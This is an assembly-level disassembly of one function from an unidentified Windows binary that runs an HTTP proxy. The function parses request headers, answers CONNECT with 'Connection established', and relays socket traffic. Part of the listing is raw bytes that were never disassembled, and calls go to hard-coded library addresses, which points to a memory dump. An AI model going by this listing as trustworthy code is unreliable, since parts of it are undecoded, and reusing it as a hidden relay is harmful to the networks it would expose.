		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292DD
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_445220 ; "\r\n"


loc_428731:				; CODE XREF: sub_4282C0+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428755
		test	cl, cl
		jz	short loc_428751
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428755
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428731


loc_428751:				; CODE XREF: sub_4282C0+47Bj
		xor	eax, eax
		jmp	short loc_428759
; ---------------------------------------------------------------------------


loc_428755:				; CODE XREF: sub_4282C0+477j
					; sub_4282C0+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_428759:				; CODE XREF: sub_4282C0+493j
		test	eax, eax
		jz	loc_428833
		mov	edi, dword_50FACC


loc_428767:				; CODE XREF: sub_4282C0+56Dj
		mov	esi, offset byte_446F60
		lea	eax, [esp+1Ch+arg_4478]


loc_428773:				; CODE XREF: sub_4282C0+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428797
		test	cl, cl
		jz	short loc_428793
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428797
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428773


loc_428793:				; CODE XREF: sub_4282C0+4BDj
		xor	eax, eax
		jmp	short loc_42879B
; ---------------------------------------------------------------------------


loc_428797:				; CODE XREF: sub_4282C0+4B9j
					; sub_4282C0+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42879B:				; CODE XREF: sub_4282C0+4D5j
		test	eax, eax
		jz	loc_428833
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429339
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_445220 ; "\r\n"
		push	ecx
		call	edi
		add	esp, 18h
		mov	esi, offset asc_445220 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_428803:				; CODE XREF: sub_4282C0+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428827
		test	cl, cl
		jz	short loc_428823
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428827
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428803


loc_428823:				; CODE XREF: sub_4282C0+54Dj
		xor	eax, eax
		jmp	short loc_42882B
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: sub_4282C0+549j
					; sub_4282C0+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_42882B:				; CODE XREF: sub_4282C0+565j
		test	eax, eax
		jnz	loc_428767


loc_428833:				; CODE XREF: sub_4282C0+49Bj
					; sub_4282C0+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		push	offset asc_443C84 ; ":"
		push	eax
		call	esi
		add	esp, 8
		inc	eax
		jz	short loc_428887
		cmp	byte ptr [eax],	20h
		jnz	short loc_42886B


loc_428862:				; CODE XREF: sub_4282C0+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_428862


loc_42886B:				; CODE XREF: sub_4282C0+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42888E
; ---------------------------------------------------------------------------


loc_428887:				; CODE XREF: sub_4282C0+58Dj
					; sub_4282C0+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42888E:				; CODE XREF: sub_4282C0+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_428926
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42940D
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_42934B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, ebx
		jz	loc_4293A8


loc_428926:				; CODE XREF: sub_4282C0+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_428FCE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428971
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_4289A4
; ---------------------------------------------------------------------------


loc_428971:				; CODE XREF: sub_4282C0+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_4289A4:				; CODE XREF: sub_4282C0+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_4293F2
		cmp	eax, ebx
		jz	loc_4293F2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42941F
		mov	edi, offset asc_445220 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_445220 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428A6E:				; CODE XREF: sub_4282C0+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428A92
		test	cl, cl
		jz	short loc_428A8E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428A92
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428A6E


loc_428A8E:				; CODE XREF: sub_4282C0+7B8j
		xor	eax, eax
		jmp	short loc_428A97
; ---------------------------------------------------------------------------


loc_428A92:				; CODE XREF: sub_4282C0+7B4j
					; sub_4282C0+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428A97:				; CODE XREF: sub_4282C0+7D0j
		test	eax, eax
		jz	loc_428E19


loc_428A9F:				; CODE XREF: sub_4282C0+B48j
		mov	esi, offset byte_446F60
		lea	eax, [esp+58h+arg_43C]


loc_428AAB:				; CODE XREF: sub_4282C0+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		test	cl, cl
		jz	short loc_428ACF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428AAB


loc_428ACF:				; CODE XREF: sub_4282C0+7F7j
		xor	eax, eax
		jmp	short loc_428AD8
; ---------------------------------------------------------------------------


loc_428AD3:				; CODE XREF: sub_4282C0+7F3j
					; sub_4282C0+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428AD8:				; CODE XREF: sub_4282C0+811j
		test	eax, eax
		jz	loc_428E15
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428E10
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428BBA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428BBA:				; CODE XREF: sub_4282C0+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C49
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C49:				; CODE XREF: sub_4282C0+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CE4
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428CE4:				; CODE XREF: sub_4282C0+9D3j
		mov	esi, offset asc_445220 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428CF0:				; CODE XREF: sub_4282C0+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		test	cl, cl
		jz	short loc_428D14
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428CF0


loc_428D14:				; CODE XREF: sub_4282C0+A3Cj
		xor	eax, eax
		jmp	short loc_428D1D
; ---------------------------------------------------------------------------


loc_428D18:				; CODE XREF: sub_4282C0+A38j
					; sub_4282C0+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D1D:				; CODE XREF: sub_4282C0+A56j
		test	eax, eax
		jz	loc_428DB9
		mov	esi, offset byte_446F60
		lea	eax, [esp+58h+arg_43C]


loc_428D31:				; CODE XREF: sub_4282C0+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		test	cl, cl
		jz	short loc_428D55
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D31


loc_428D55:				; CODE XREF: sub_4282C0+A7Dj
		xor	eax, eax
		jmp	short loc_428D5E
; ---------------------------------------------------------------------------


loc_428D59:				; CODE XREF: sub_4282C0+A79j
					; sub_4282C0+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D5E:				; CODE XREF: sub_4282C0+A97j
		test	eax, eax
		jz	short loc_428DB9
		mov	edi, offset asc_445220 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_428DB9:				; CODE XREF: sub_4282C0+A5Fj
					; sub_4282C0+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_445220 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428DD9:				; CODE XREF: sub_4282C0+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		test	cl, cl
		jz	short loc_428DFD
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DD9


loc_428DFD:				; CODE XREF: sub_4282C0+B25j
		xor	eax, eax
		jmp	short loc_428E06
; ---------------------------------------------------------------------------


loc_428E01:				; CODE XREF: sub_4282C0+B21j
					; sub_4282C0+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E06:				; CODE XREF: sub_4282C0+B3Fj
		test	eax, eax
		jnz	loc_428A9F
		jmp	short loc_428E15
; ---------------------------------------------------------------------------


loc_428E10:				; CODE XREF: sub_4282C0+840j
		mov	[esp+58h+var_46], 1


loc_428E15:				; CODE XREF: sub_4282C0+81Aj
					; sub_4282C0+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428E19:				; CODE XREF: sub_4282C0+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428E41
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428E5D
; ---------------------------------------------------------------------------


loc_428E41:				; CODE XREF: sub_4282C0+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428E5D:				; CODE XREF: sub_4282C0+B7Fj
		call	near ptr 71AB428Ah
		nop
		mov	edi, offset asc_445220 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	ebx, ebx
		jz	loc_428F8C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428F14


loc_428EC3:				; CODE XREF: sub_4282C0+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428F14
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F14
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F14
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428EC3


loc_428F14:				; CODE XREF: sub_4282C0+C01j
					; sub_4282C0+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428F5E


loc_428F1A:				; CODE XREF: sub_4282C0+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F5E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F5E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428F1A


loc_428F5E:				; CODE XREF: sub_4282C0+C58j
					; sub_4282C0+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_4291EF
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_4291F2
; ---------------------------------------------------------------------------


loc_428F8C:				; CODE XREF: sub_4282C0+BF7j
		mov	esi, dword_50FC90


loc_428F92:				; CODE XREF: sub_4282C0+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi
		cmp	eax, 1
		jl	short loc_428F5E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428F5E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		jmp	short loc_428F92
; ---------------------------------------------------------------------------


loc_428FCE:				; CODE XREF: sub_4282C0+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_429492
		cmp	eax, ebx
		jz	loc_429492
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_429040:				; CODE XREF: sub_4282C0+D8Bj
		cmp	[ecx], edx
		jz	short loc_42904D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_429040


loc_42904D:				; CODE XREF: sub_4282C0+D82j
		cmp	eax, 1
		jnz	short loc_429064
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


loc_429064:				; CODE XREF: sub_4282C0+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_436F60
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 7168B15Ah
		dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h,	333D7169h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h,	333D7169h
		dd 75000027h, 90016A0Dh, 406E2FE8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4291EF:				; CODE XREF: sub_4282C0+CA6j
		or	esi, 0FFFFFFFFh


loc_4291F2:				; CODE XREF: sub_4282C0+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_429212
		mov	edx, [ebp+0BFh]
		push	edx
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_429212:				; CODE XREF: sub_4282C0+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429280:				; CODE XREF: sub_4282C0+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_4282F8


loc_42928C:				; CODE XREF: sub_4282C0+1074j
					; sub_4282C0+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_4292A9
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_4292A9:				; CODE XREF: sub_4282C0+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_4292C4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_4292C4:				; CODE XREF: sub_4282C0+FEFj
					; sub_4282C0+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_4292DD:				; CODE XREF: sub_4282C0+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_4292EE:				; CODE XREF: sub_4282C0+3D7j
		lea	ecx, [esp+1Ch+arg_28]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226


loc_4292FF:				; CODE XREF: sub_4282C0+191j
					; sub_4282C0+1AAj ...
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226


loc_429310:				; CODE XREF: sub_4282C0+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429339:				; CODE XREF: sub_4282C0+503j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42934B:				; CODE XREF: sub_4282C0+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_4293A8:				; CODE XREF: sub_4282C0+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
